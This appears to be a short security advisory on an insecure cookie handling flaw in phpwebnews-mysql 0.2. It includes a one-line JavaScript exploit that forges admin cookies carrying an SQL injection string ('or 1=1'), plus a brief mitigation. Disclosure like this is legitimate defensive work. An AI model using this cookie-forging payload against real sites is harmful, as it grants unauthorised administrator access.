phpwebnews-mysql 0.2 Insecure Cookie Handling Vulnerability

phpwebnews-mysql, suffers from insecure cookie handling, when a admin login is successfull the script creates a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are logged in as a legit admin. The exploit code is javascript:document.cookie = "a1=admin ' or 1=1/*; path=/;"; document.cookie = "a2=[what ever]; path=/;";

Mitigation:

Ensure that the application is validating the cookie values before using them.
